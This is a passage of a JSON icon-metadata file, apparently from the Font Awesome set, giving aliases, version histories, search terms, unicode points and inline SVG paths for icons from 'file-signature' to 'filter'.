        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v47l-92.8 37.1c-21.3 8.5-35.2 29.1-35.2 52c0 56.6 18.9 148 94.2 208.3c-9 4.8-19.3 7.6-30.2 7.6H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm39.1 97.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M0 64C0 28.7 28.7 0 64 0H224V128c0 17.7 14.3 32 32 32H384v47l-92.8 37.1c-21.3 8.5-35.2 29.1-35.2 52c0 56.6 18.9 148 94.2 208.3c-9 4.8-19.3 7.6-30.2 7.6H64c-35.3 0-64-28.7-64-64V64zm384 64H256V0L384 128zm39.1 97.7c5.7-2.3 12.1-2.3 17.8 0l120 48C570 277.4 576 286.2 576 296c0 63.3-25.9 168.8-134.8 214.2c-5.9 2.5-12.6 2.5-18.5 0C313.9 464.8 288 359.3 288 296c0-9.8 6-18.6 15.1-22.3l120-48zM527.4 312L432 273.8V461.7c68.2-33 91.5-99 95.4-149.7z"
      }
    },
    "free": ["solid"]
  },
  "file-signature": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f573"]
      }
    },
    "changes": ["5.1.0", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["John Hancock", "contract", "document", "name"]
    },
    "styles": ["solid"],
    "unicode": "f573",
    "label": "File Signature",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V428.7c-2.7 1.1-5.4 2-8.2 2.7l-60.1 15c-3 .7-6 1.2-9 1.4c-.9 .1-1.8 .2-2.7 .2H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 381l-9.8 32.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.8 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8h8.9c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7L384 203.6V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM549.8 139.7c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM311.9 321c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L512.1 262.7l-71-71L311.9 321z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V428.7c-2.7 1.1-5.4 2-8.2 2.7l-60.1 15c-3 .7-6 1.2-9 1.4c-.9 .1-1.8 .2-2.7 .2H240c-6.1 0-11.6-3.4-14.3-8.8l-8.8-17.7c-1.7-3.4-5.1-5.5-8.8-5.5s-7.2 2.1-8.8 5.5l-8.8 17.7c-2.9 5.9-9.2 9.4-15.7 8.8s-12.1-5.1-13.9-11.3L144 381l-9.8 32.8c-6.1 20.3-24.8 34.2-46 34.2H80c-8.8 0-16-7.2-16-16s7.2-16 16-16h8.2c7.1 0 13.3-4.6 15.3-11.4l14.9-49.5c3.4-11.3 13.8-19.1 25.6-19.1s22.2 7.8 25.6 19.1l11.6 38.6c7.4-6.2 16.8-9.7 26.8-9.7c15.9 0 30.4 9 37.5 23.2l4.4 8.8h8.9c-3.1-8.8-3.7-18.4-1.4-27.8l15-60.1c2.8-11.3 8.6-21.5 16.8-29.7L384 203.6V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM549.8 139.7c-15.6-15.6-40.9-15.6-56.6 0l-29.4 29.4 71 71 29.4-29.4c15.6-15.6 15.6-40.9 0-56.6l-14.4-14.4zM311.9 321c-4.1 4.1-7 9.2-8.4 14.9l-15 60.1c-1.4 5.5 .2 11.2 4.2 15.2s9.7 5.6 15.2 4.2l60.1-15c5.6-1.4 10.8-4.3 14.9-8.4L512.1 262.7l-71-71L311.9 321z"
      }
    },
    "free": ["solid"]
  },
  "file-video": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c8"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "m4v", "movie", "mp4", "play"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c8",
    "label": "File Video",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V288zM300.9 397.9L256 368V304l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM64 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v96c0 17.7-14.3 32-32 32H96c-17.7 0-32-14.3-32-32V288zM300.9 397.9L256 368V304l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM80 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v16l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1L240 368v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V288z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M320 464c8.8 0 16-7.2 16-16V160H256c-17.7 0-32-14.3-32-32V48H64c-8.8 0-16 7.2-16 16V448c0 8.8 7.2 16 16 16H320zM0 64C0 28.7 28.7 0 64 0H229.5c17 0 33.3 6.7 45.3 18.7l90.5 90.5c12 12 18.7 28.3 18.7 45.3V448c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V64zM80 288c0-17.7 14.3-32 32-32h96c17.7 0 32 14.3 32 32v16l44.9-29.9c2-1.3 4.4-2.1 6.8-2.1c6.8 0 12.3 5.5 12.3 12.3V387.7c0 6.8-5.5 12.3-12.3 12.3c-2.4 0-4.8-.7-6.8-2.1L240 368v16c0 17.7-14.3 32-32 32H112c-17.7 0-32-14.3-32-32V288z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-waveform": {
    "aliases": {
      "names": ["file-medical-alt"],
      "unicodes": {
        "secondary": ["10f478"]
      }
    },
    "changes": ["5.0.7", "5.10.2", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["document", "health", "history", "prescription", "record"]
    },
    "styles": ["solid"],
    "unicode": "f478",
    "label": "File Waveform",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767392,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M96 0C60.7 0 32 28.7 32 64V288H144c6.1 0 11.6 3.4 14.3 8.8L176 332.2l49.7-99.4c2.7-5.4 8.3-8.8 14.3-8.8s11.6 3.4 14.3 8.8L281.9 288H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-6.1 0-11.6-3.4-14.3-8.8L240 275.8l-49.7 99.4c-2.7 5.4-8.3 8.8-14.3 8.8s-11.6-3.4-14.3-8.8L134.1 320H32V448c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V160H288c-17.7 0-32-14.3-32-32V0H96zM288 0V128H416L288 0z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M96 0C60.7 0 32 28.7 32 64V288H144c6.1 0 11.6 3.4 14.3 8.8L176 332.2l49.7-99.4c2.7-5.4 8.3-8.8 14.3-8.8s11.6 3.4 14.3 8.8L281.9 288H352c8.8 0 16 7.2 16 16s-7.2 16-16 16H272c-6.1 0-11.6-3.4-14.3-8.8L240 275.8l-49.7 99.4c-2.7 5.4-8.3 8.8-14.3 8.8s-11.6-3.4-14.3-8.8L134.1 320H32V448c0 35.3 28.7 64 64 64H352c35.3 0 64-28.7 64-64V160H288c-17.7 0-32-14.3-32-32V0H96zM288 0V128H416L288 0z"
      }
    },
    "free": ["solid"]
  },
  "file-word": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f1c2"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["document", "edit", "page", "text", "writing"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c2",
    "label": "File Word",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM111 257.1l26.8 89.2 31.6-90.3c3.4-9.6 12.5-16.1 22.7-16.1s19.3 6.4 22.7 16.1l31.6 90.3L273 257.1c3.8-12.7 17.2-19.9 29.9-16.1s19.9 17.2 16.1 29.9l-48 160c-3 10-12 16.9-22.4 17.1s-19.8-6.2-23.2-16.1L192 336.6l-33.3 95.3c-3.4 9.8-12.8 16.3-23.2 16.1s-19.5-7.1-22.4-17.1l-48-160c-3.8-12.7 3.4-26.1 16.1-29.9s26.1 3.4 29.9 16.1z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM111 257.1l26.8 89.2 31.6-90.3c3.4-9.6 12.5-16.1 22.7-16.1s19.3 6.4 22.7 16.1l31.6 90.3L273 257.1c3.8-12.7 17.2-19.9 29.9-16.1s19.9 17.2 16.1 29.9l-48 160c-3 10-12 16.9-22.4 17.1s-19.8-6.2-23.2-16.1L192 336.6l-33.3 95.3c-3.4 9.8-12.8 16.3-23.2 16.1s-19.5-7.1-22.4-17.1l-48-160c-3.8-12.7 3.4-26.1 16.1-29.9s26.1 3.4 29.9 16.1z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm55 241.1c-3.8-12.7-17.2-19.9-29.9-16.1s-19.9 17.2-16.1 29.9l48 160c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l25-83.4 25 83.4c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l48-160c3.8-12.7-3.4-26.1-16.1-29.9s-26.1 3.4-29.9 16.1l-25 83.4-25-83.4c-3-10.2-12.4-17.1-23-17.1s-19.9 7-23 17.1l-25 83.4-25-83.4z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M48 448V64c0-8.8 7.2-16 16-16H224v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm55 241.1c-3.8-12.7-17.2-19.9-29.9-16.1s-19.9 17.2-16.1 29.9l48 160c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l25-83.4 25 83.4c3 10.2 12.4 17.1 23 17.1s19.9-7 23-17.1l48-160c3.8-12.7-3.4-26.1-16.1-29.9s-26.1 3.4-29.9 16.1l-25 83.4-25-83.4c-3-10.2-12.4-17.1-23-17.1s-19.9 7-23 17.1l-25 83.4-25-83.4z"
      }
    },
    "free": ["regular", "solid"]
  },
  "file-zipper": {
    "aliases": {
      "names": ["file-archive"],
      "unicodes": {
        "secondary": ["10f1c6"]
      }
    },
    "changes": [
      "4.1.0",
      "5.0.0",
      "5.7.0",
      "5.10.2",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [".zip", "bundle", "compress", "compression", "download", "zip"]
    },
    "styles": ["solid", "regular"],
    "unicode": "f1c6",
    "label": "File Zipper",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM96 48c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm-6.3 71.8c3.7-14 16.4-23.8 30.9-23.8h14.8c14.5 0 27.2 9.7 30.9 23.8l23.5 88.2c1.4 5.4 2.1 10.9 2.1 16.4c0 35.2-28.8 63.7-64 63.7s-64-28.5-64-63.7c0-5.5 .7-11.1 2.1-16.4l23.5-88.2zM112 336c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V160H256c-17.7 0-32-14.3-32-32V0H64zM256 0V128H384L256 0zM96 48c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm0 64c0-8.8 7.2-16 16-16h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H112c-8.8 0-16-7.2-16-16zm-6.3 71.8c3.7-14 16.4-23.8 30.9-23.8h14.8c14.5 0 27.2 9.7 30.9 23.8l23.5 88.2c1.4 5.4 2.1 10.9 2.1 16.4c0 35.2-28.8 63.7-64 63.7s-64-28.5-64-63.7c0-5.5 .7-11.1 2.1-16.4l23.5-88.2zM112 336c-8.8 0-16 7.2-16 16s7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H112z"
      },
      "regular": {
        "last_modified": 1684767391,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 384 512\"><path d=\"M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16h48v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm48 112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm0 64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm-6.3 71.8L82.1 335.9c-1.4 5.4-2.1 10.9-2.1 16.4c0 35.2 28.8 63.7 64 63.7s64-28.5 64-63.7c0-5.5-.7-11.1-2.1-16.4l-23.5-88.2c-3.7-14-16.4-23.8-30.9-23.8H136.6c-14.5 0-27.2 9.7-30.9 23.8zM128 336h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H128c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 384, 512],
        "width": 384,
        "height": 512,
        "path": "M64 464c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16h48c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16h48v80c0 17.7 14.3 32 32 32h80V448c0 8.8-7.2 16-16 16H64zM64 0C28.7 0 0 28.7 0 64V448c0 35.3 28.7 64 64 64H320c35.3 0 64-28.7 64-64V154.5c0-17-6.7-33.3-18.7-45.3L274.7 18.7C262.7 6.7 246.5 0 229.5 0H64zm48 112c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm0 64c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16s-7.2-16-16-16H128c-8.8 0-16 7.2-16 16zm-6.3 71.8L82.1 335.9c-1.4 5.4-2.1 10.9-2.1 16.4c0 35.2 28.8 63.7 64 63.7s64-28.5 64-63.7c0-5.5-.7-11.1-2.1-16.4l-23.5-88.2c-3.7-14-16.4-23.8-30.9-23.8H136.6c-14.5 0-27.2 9.7-30.9 23.8zM128 336h32c8.8 0 16 7.2 16 16s-7.2 16-16 16H128c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      }
    },
    "free": ["regular", "solid"]
  },
  "fill": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f575"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bucket", "color", "paint", "paint bucket"]
    },
    "styles": ["solid"],
    "unicode": "f575",
    "label": "Fill",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767366,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M86.6 9.4C74.1-3.1 53.9-3.1 41.4 9.4s-12.5 32.8 0 45.3L122.7 136 30.6 228.1c-37.5 37.5-37.5 98.3 0 135.8L148.1 481.4c37.5 37.5 98.3 37.5 135.8 0L474.3 290.9c28.1-28.1 28.1-73.7 0-101.8L322.9 37.7c-28.1-28.1-73.7-28.1-101.8 0L168 90.7 86.6 9.4zM168 181.3l49.4 49.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L213.3 136l53.1-53.1c3.1-3.1 8.2-3.1 11.3 0L429.1 234.3c3.1 3.1 3.1 8.2 0 11.3L386.7 288H67.5c1.4-5.4 4.2-10.4 8.4-14.6L168 181.3z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M86.6 9.4C74.1-3.1 53.9-3.1 41.4 9.4s-12.5 32.8 0 45.3L122.7 136 30.6 228.1c-37.5 37.5-37.5 98.3 0 135.8L148.1 481.4c37.5 37.5 98.3 37.5 135.8 0L474.3 290.9c28.1-28.1 28.1-73.7 0-101.8L322.9 37.7c-28.1-28.1-73.7-28.1-101.8 0L168 90.7 86.6 9.4zM168 181.3l49.4 49.4c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L213.3 136l53.1-53.1c3.1-3.1 8.2-3.1 11.3 0L429.1 234.3c3.1 3.1 3.1 8.2 0 11.3L386.7 288H67.5c1.4-5.4 4.2-10.4 8.4-14.6L168 181.3z"
      }
    },
    "free": ["solid"]
  },
  "fill-drip": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f576"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["bucket", "color", "drop", "paint", "paint bucket", "spill"]
    },
    "styles": ["solid"],
    "unicode": "f576",
    "label": "Fill Drip",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M41.4 9.4C53.9-3.1 74.1-3.1 86.6 9.4L168 90.7l53.1-53.1c28.1-28.1 73.7-28.1 101.8 0L474.3 189.1c28.1 28.1 28.1 73.7 0 101.8L283.9 481.4c-37.5 37.5-98.3 37.5-135.8 0L30.6 363.9c-37.5-37.5-37.5-98.3 0-135.8L122.7 136 41.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm176 221.3L168 181.3 75.9 273.4c-4.2 4.2-7 9.3-8.4 14.6H386.7l42.3-42.3c3.1-3.1 3.1-8.2 0-11.3L277.7 82.9c-3.1-3.1-8.2-3.1-11.3 0L213.3 136l49.4 49.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0zM512 512c-35.3 0-64-28.7-64-64c0-25.2 32.6-79.6 51.2-108.7c6-9.4 19.5-9.4 25.5 0C543.4 368.4 576 422.8 576 448c0 35.3-28.7 64-64 64z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M41.4 9.4C53.9-3.1 74.1-3.1 86.6 9.4L168 90.7l53.1-53.1c28.1-28.1 73.7-28.1 101.8 0L474.3 189.1c28.1 28.1 28.1 73.7 0 101.8L283.9 481.4c-37.5 37.5-98.3 37.5-135.8 0L30.6 363.9c-37.5-37.5-37.5-98.3 0-135.8L122.7 136 41.4 54.6c-12.5-12.5-12.5-32.8 0-45.3zm176 221.3L168 181.3 75.9 273.4c-4.2 4.2-7 9.3-8.4 14.6H386.7l42.3-42.3c3.1-3.1 3.1-8.2 0-11.3L277.7 82.9c-3.1-3.1-8.2-3.1-11.3 0L213.3 136l49.4 49.4c12.5 12.5 12.5 32.8 0 45.3s-32.8 12.5-45.3 0zM512 512c-35.3 0-64-28.7-64-64c0-25.2 32.6-79.6 51.2-108.7c6-9.4 19.5-9.4 25.5 0C543.4 368.4 576 422.8 576 448c0 35.3-28.7 64-64 64z"
      }
    },
    "free": ["solid"]
  },
  "film": {
    "aliases": {
      "unicodes": {
        "composite": ["1f39e"],
        "secondary": ["10f008"]
      }
    },
    "changes": ["1.0.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": [
        "cinema",
        "film",
        "film frames",
        "frames",
        "movie",
        "strip",
        "video"
      ]
    },
    "styles": ["solid"],
    "unicode": "f008",
    "label": "Film",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767343,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM48 368v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H416zM48 240v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H416zM48 112v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM416 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H416zM160 128v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zm32 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V320c0-17.7-14.3-32-32-32H192z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M0 96C0 60.7 28.7 32 64 32H448c35.3 0 64 28.7 64 64V416c0 35.3-28.7 64-64 64H64c-35.3 0-64-28.7-64-64V96zM48 368v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V368c0-8.8-7.2-16-16-16H416zM48 240v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zm368-16c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V240c0-8.8-7.2-16-16-16H416zM48 112v32c0 8.8 7.2 16 16 16H96c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H64c-8.8 0-16 7.2-16 16zM416 96c-8.8 0-16 7.2-16 16v32c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V112c0-8.8-7.2-16-16-16H416zM160 128v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V128c0-17.7-14.3-32-32-32H192c-17.7 0-32 14.3-32 32zm32 160c-17.7 0-32 14.3-32 32v64c0 17.7 14.3 32 32 32H320c17.7 0 32-14.3 32-32V320c0-17.7-14.3-32-32-32H192z"
      }
    },
    "free": ["solid"]
  },
  "filter": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f0b0"]
      }
    },
    "changes": [
      "2.0.0",
      "5.0.0",
      "5.10.1",
      "5.11.0",
      "5.11.1",
      "6.0.0-beta1",
      "6.0.0",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["funnel", "options", "separate", "sort"]
    },
    "styles": ["solid"],
    "unicode": "f0b0",
    "label": "Filter",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767552,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M3.9 54.9C10.5 40.9 24.5 32 40 32H472c15.5 0 29.5 8.9 36.1 22.9s4.6 30.5-5.2 42.5L320 320.9V448c0 12.1-6.8 23.2-17.7 28.6s-23.8 4.3-33.5-3l-64-48c-8.1-6-12.8-15.5-12.8-25.6V320.9L9 97.3C-.7 85.4-2.8 68.8 3.9 54.9z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
